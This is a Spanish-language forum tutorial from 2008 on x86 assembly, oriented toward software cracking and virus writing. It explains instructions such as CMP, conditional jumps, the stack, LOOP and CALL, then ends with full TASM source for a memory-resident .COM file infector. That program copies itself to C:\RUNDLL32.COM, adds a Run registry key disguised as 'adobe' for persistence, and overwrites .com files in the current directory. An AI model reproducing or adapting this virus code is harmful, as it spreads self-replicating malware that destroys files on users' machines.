The Shadow
Moderadores
Colaborador
    
Desconectado
Mensajes: 482

Fucking mnemonic c0d1n6!
|
 |
« en: Marzo 20, 2008, 04:58:45 » |
|
INTRODUCCION AL ASM II by The Shadow “ORIENTANDONOS AL CRACKING y VirII CoDiNg”
Uno de los principales usos que se le puede dar a tener un poco de conociemto del ensamblador, es no estar perdido en tus primeras aproximaciones en el cracking. En este segundo tuto intentare darles una orientación basica a lo que es el assembler que usan los crackers para crackear (XD), sin alejarnos del objetivo artistico de aprender a programar en assembler con aplicación a la creacion de virus.
PD: Algunos puntos de interes para el cracking, como lo son “los registros”, los obviaré en este tuto ya que en la primera parte los expuse.
Algo que tenemos q recordar es el registro IP. Cuando me refiera a IP, qiero decir Puntero de Instrucción, el cual recordaremos que es donde se ubica la instrucción que se esta ejecutando en un programa.
0- Instruccion LEA
LEA ~ Load Effective Adress ~ Cargar direccion efectiva Basicamente realiza la funcion de mov, calcula el offset del operando origen, y lo almacena en el destino
Sintaxis: lea (reg/pos),(reg/pos)
Ejemplo: lea ax,dx
1- Instrucciones INC y DEC:
Estas instrucciones son sumament simples, pero tengo q explikrlas ya q las usaremos después. Weno … imaginense que es como set a=%a%+1 en batch o a++ en C.
INC ~ Increment ~ Incrementa: como su nombre lo dice, aumenta en uno el valor de un registro o de una posición de memoria. DEC ~ Decrement ~ Decrementa: como su nombre lo dice, disminuye en uno el valor de un registro o de una posición de memoria.
Ejemplos: … INC DX ;Incrementa DX en uno … DEC DWORD PTR [DI+102] ;Decrementa en uno el valor del DWORD ubikdo en [DI+102] del segmento actual …
2- Instrucciones de comparación CMP y TEST:
Los valores que contienen las flags que utilizan los saltos, los determinan otros comandos, estos son los "comparadores", de estos podemos mencionar los mnemonicos "cmp" y "test", de los cuales estudiaremos el "cmp".
-Sintaxis del "cmp": cmp v1,v2 --donde "v1" corresponde a: un valor hex, un registro o una posicion de memoria. Al igual que "v1", "v2" tambien representa un valor. Asi, "cmp v1,v2", tomara "v1" como valor de destino y "v2" como valor fuente, luego resta el valor fuente menos el valor de destino y actualiza las flags con el resultado. CMP equivale a un SUB logico, solo q no guarda sus resultados en los registros, pero si actualiza las flags
TEST ~ Comprobar: Equivale a hacer un AND lógico, solo q no modifica registros, solo actualiza las flags.
3- Manejando saltos condicionales:
En lenguajes de alto nivel, como el basic, se tienen comandos o sentencias que permiten tener un control sobre las sentencias que se ejecutan en un programa, a estas les llamaremos "sentencias condicionales", ya que toman en cuenta el cumplimiento de una condicion para seguir con la siguiente; entre estos comandos podemos ver: el "if"(como principal); while; until; etc. En asm tambien tenemos mnemonicos condicionales, los cuales cada uno de ellos representa una condicion especifica. Como principal ejemplo tenemos a los saltos. Estos saltos estan condicionados por los valores que poseen las "flags" (registros especiales que vimos en el 1er tuto). Como ya hemos vistos, el mnemonico "jmp" ~ jump ~ saltar.. se utiliza para saltar a una posicion especifica de memoria determinada ya sea por una etiqueta(en leguajes de macro como en el "TASM") o por una direccion de offset. Técnicamente esto lo hace incrementando el valor de IP (Puntero de Instrucción). Equivale a un GOTO.
Ejemplos: … JMP 0046D24C ;salta a CS:0046D24C. … JMP etq1 ;salta a la etiqueta "etq1" dentro del macro. …. Hay varias derivaciones según la activacion de diferentes flags. Asi las derivaciones son: “ Hexadecimal Assembler Significa 75 o 0F85 Jne Salta si no es equivalente 74 o 0F84 Je Salta si es equivalente EB Jmp Salta directamente a . . . 90 Nop ( No OPeration ) Sin operación 77 o 0F87 Ja Salta si esta sobre OF86 Jna Salta si no esta sobre 0F83 Jae Salta si esta sobre o igual 0F82 Jnae Salta si no esta sobre o igual 0F82 Jb Salta si es inferior 0F83 Jnb Salta si no es inferior 0F86 Jbe Salta si esta debajo o igual 0F87 Jnbe Salta si no esta debajo o igual 0F8F Jg Salta si es mayor 0F8E Jng Salta si no es mayor 0F8D Jge Salta si es mayor o igual 0F8C Jnge Salta si no es mayor o igual 0F8C Jl Salta si es menor 0F8D Jnl Salta si no es menor 0F8E Jle Salta si es menor o igual 0F8F Jnle Salta si no es menor o igual “ tabla sacada de la red
En la tabla podemos ver el código en hexadecimal, el mnemónico y su significado.
Weno, para tenerlo mas claro veremos un ejemplo:
… MOV DX,00 ;dx==00 INI: INC DX ;incrementa el valor dx en 1 dx+1 CMP DX,05 ;compara dx con 05 JE FOK ;si dx=05 salta a la etiqueta FOK JMP INI ;sino salta a la etiqueta INI FOK: MOV AH,4C ;ah==4C …
Lo que akabamos de ver es un simple bucle que establece el valor de dx en 00 luego cuando entra en la etiqueta “ini”, se incrementa el valor de dx, osea que, si antes de entrar en la etiqueta dx era 00 despues del “INC DX”, dx tomaba el valor de 01 y asi sucesivamente mientra se mantuviera en el bucle, luego de que el valor de dx se incrementa, este se compara con el valor “05”, si la flan “equal” se activa, entoncs salta a la etiqueta “FOK”, sino vuelva a “INI”.
Esto es algo que veremos muy frecuente en ingeniería inversa.
3.1-Saltos cortos, cercanos y largos.
Hay veces que necesitamos indicar que tipo de salto realizaremos dependiendo de tan lejos saltaremos.
JMP SHORT ~ Salto corto: Se realiza si vamos a saltar a una direccion comprendida entre lo q puede dos bytes (-128 a +127 antes o después de IP actual).
… 00402207 JMP SHORT 402100 …
JMP NEAR ~ Salto cercano: Se realiza si vamos a saltar a una dirección comprendida entre lo q puede un byte (-32768 a +32767 antes o después de IP actual).
… 00402207 JMP NEAR 404010 …
Un salto largo es ya cuando se tiene como distancia el contenido de 4 bytes. Este tipo de saltos se ven cuando un programa llama a una funcion de un modulo. Por ejemplo para saltar a USER32.GetDlgItemTextA desde el app.00401171:
------------------------------------------app.exe---------- … 00401171 JMP DWORD PTR DS:[<&USER32.GetDlgItemTextA>] … ---------------------------------------------------------------
Algo que tenemos que tomar en cuenta es que las especificaciones de corto, cercano y lejano, también debemos especificarlas en las demás derivaciones de saltos (los condicionales), claro, cuando sea necesario.
4- Instrucciones PUSH y POP. La PILA o STACK
Para empezar con esto, tengamos este diagrama en mente:
PUSH Y = mete el valor de Y en el almacen POP X = saca y guarda, el ultimo valor metido en el almacén, en X
Almacen = | | | | | | | _ _ |
A = 1 B = 2 C = 3 D = 0
PUSH A | | | | | | | _1_ | PUSH C | | | | | 3 | | _1_ | PUSH B | | | 2 | | 3 | | _1_ | POP D
. . . . . . . . D = 2 . : | : | | | | 2 | | | | 3 | | 3 | | _1_ | | _1_ |
Ahora veamos como se veria este diagrama en asm: … MOV AH,01 ;AH=01 MOV AL,02 ;Al=02 MOV DH,03 ;DH=03 MOV DL,00 ;DL=0 PUSH AH ;AH a stack PUSH DH ;DH a stack PUSH AL ;AL a stack POP DL ;recordemos q el ultimo valor en entrar a la pila fue el de AL, y AL vale 02 asiq DL=02 …
Por si acaso: PUSH X ~ Meter: Mete el valor de el registro X en la pila POP Y ~ Sacar: Saca y guarda en el registro Y el ultimo valor introducido en la pila.
La pila es como un almacén donde se guardan valores de los registros. Recordemos que la dirección de la pila esta especificada por los registros: SS:SP (Stack Segment:Stack Pointer ~ Segmento de la pila:Puntero actual de la pila).
5- Instrucción LOOP
Weno esencialmente, esta instrucción la usaremos a la hora de crear bucles y no qeremos meternos con mov-inc-cmp-jne. Básicamente lo que hace LOOP es comparar CX con 0 si CX=0 entoncs continua con la siguiente instrucción si no vuelve a su parámetro. LOOP decrementa el valor de CX cada ves que IP se ubica en el.
-Su sintaxis es:
LOOP PARAM
-- donde PARAM es la instrucción a la cual volvera IP si CX no es igual a 0
Ejemplo: … MOV CX,05h INI: LOOP INI FOK: …
6- Instrucciones CALL Y RET:
La orden CALL equivale a un CALL en batch. Y RET equivale a GOTO :EOF en batch. Su sintaxis es como la del JMP, se permiten etiquetas, registros, direcciones de memoria. CALL lo que hace es introducir IP+1 en la pila, osea la instrucción que sigue al CALL, y salta a la direccion que se le indica, RET toma el valor que introduce el CALL en la pila, y salta a el.
Ejemplo en Batch: … SET NOMBRE=JORGE CALL :EC %NOMBRE% EXIT :EC ECHO %1 GOTO :EOF … Ejemplo en ASM: … NOM DB "JORGE$" .CODE INI: MOV AX, @DATA MOV DS,AX MOV DX,OFFSET NOM MOV AH,9 CALL XXI JMP OTER XXI: INT 21H RET …
6- Funciones dentro de un programa escrito en TASM.
En lenguajes como el BASIC, tenemos la opción de tener subrutinas las cuales podemos llamar en cualquier momento asi podemos ver en BASIC:
… Sub sumd(Dim var as Integer) var = var + 1 End Sub …
En TASM tambien podemos tener funciones. Asi podemos ver el ejemplo en BASIC en TASM:
… sumd macro var mov dx, var inc dx ENDM …
Donde “sumd” es el nombre del macro, “macro” especifica que una funcion y var se refiere a el argumento de la llamada.
Las funciones se deben especificar antes de el codigo (segmento .code o .text).
7- Estructura de un ejecutable escrito en TASM (2da forma)
En el tuto anterior aprendimos una forma de estructura para crear un programa con TASM mediante la definición concreta de los segmentos de codigo, esta vez aprenderemos otra forma en la cual asumiremos los segmentos en el proceso principal.
Sintaxis A (Estableciendo todos los segmentos): ----------------------------------------------------------------------------- ;definición de constantes y modelo ;macros ------------------------------------stack---------------------------------- stac SEGMENT PARA STACK 'stack' ;definición de buffer stac ENDS ------------------------------------segmento .data--------------------- data SEGMENT PARA PUBLIC ;definición de valores data ENDS ------------------------------------segmento .code-------------------- codi SEGMENT PARA PUBLIC 'code' prin PROC FAR ASSUME CS:codi, DS:data, SS:stac, ES:eseg ;codigo del programa prin ENDP codi ENDS prin END ------------------------------------segmento extra------------------- eseg SEGMENT PARA PUBLIC
;codigo Eseg ENDS --------------------------------------FIN-----------------------------
Sintaxis B (Asumiendo segmentos sin definirlos todos):
----------------------------------------------------------------------------- ;definición de constantes y modelo ;macros ------------------------------------segmento .code-------------------- codi SEGMENT PARA PUBLIC 'code' prin PROC FAR ASSUME CS:codi, DS:codi, ES:codi ;codigo del programa prin ENDP codi ENDS prin END -------------------------------------FIN------------------------------------
Nota: Si no necesitamos establecer la pila, bien podemos omitir su inclusión en el programa.
8- Programa de practica:
Weno como programa de practica haremos un code algo rebuskdo pero q en fin nos ayudara a ver algunas estructuras que vimos en este tuto, ademas de algunos servicios de la int 21h y una inclusión para los q somos batch coderz, “como podemos fusionar un archivo .bat y uno .com! .. xD”
.286 ;especificamos el modelo
prog segment byte public 'CODE' assume cs:prog, es:prog, ds:prog ;definimos segmentos org 100h ini: ;escribimos el codigo batch q se ejecutara en .bat db ' @ECHO OFF',0dh,0ah db ':' jmp hma ;cuando se ejecuta el .com aki saltamos al area virica db 0dh,0ah db 'COPY %0.BAT ' virr_com: db 'C:\RUNDLL32.COM' db '>NUL',0dh,0ah db 'reg add HKLM\software\microsoft\windows\currentversion\run /v adobe /d "C:\RUNDLL32.COM" /f',0dh,0ah db 'C:\RUNDLL32.COM',0dh,0ah db 1ah copi label byte ;aki especificamos donde comienza el fragmento a copiar arch: db "*.com",0 ;especificamos el tipo de archivos a infectar hma proc near mov di,0ffffh mov bx,copif-a_hma+05h mov ax,4a02h ;ya estamos residentes? int 2fh inc di jz salr ;si ya estamos residntes, nos vamos push di cld ;flag de acarreo a 0 mov si,offset a_hma ;comienza desde el offset de a_hma mov cx, copif-a_hma ;cantidad a pasar rep movsb ;pedimos residencia en hma hma endp a_hma label byte codi proc near mov ah,04eh ; servicio 4eh (buscar primer archivo del directorio actual) lea dx,arch ; CX = atributos int 21h ; DS:DX -> filespec (en nuestro caso: archive ~ *.com)
enc_arch: mov ax,3d02h ; servicio 3dh (Abrir archivo) mov dx,9eh ; DS:DX -> nombre del archivo (en nuestro caso usamos el 9eh~dta del 4eh) int 21h ; AL = modo de apertura .. 2 – leer y escribir copir_arch: mov cx,copif-copi ; servicio 40h (escribir en archivo) lea dx,copi ; CX = numero de bytes a escribir mov ah,40h ; DS:DX -> buffer int 21h mov ah,3eh ;servicio 3eh (cerrar archivo) int 21h cont: mov ah,4fh ;servicio 4fh (buscar siguiente archivo) int 21h jnb enc_arch ;si existen mas archivos, los infectamos, sino terminamos salr: int 20h ;devolvemos control copif label byte ; lo usamos para cuestiones del cantidad de bytes a copiar codi endp prog ends end ini
El programa es un infector de archivos .com residente, el programa es bastante sencillo pero nos ayudara a tener algunos conceptos en orden, ademas que vemos la tecnica de residencia por hma (high memory acess) y algunos sevicios de manejo de archivos, si bien no se pudo explikr bien el programa a sido por cuestiones de espacio e intendando que el lector desarrolle la habilidad de investigar, corregir errores y analizar. Me conformo con q un 70% alla podido ser comprendido … =D ….. Saludos y hasta la proxima!
The Shadow
|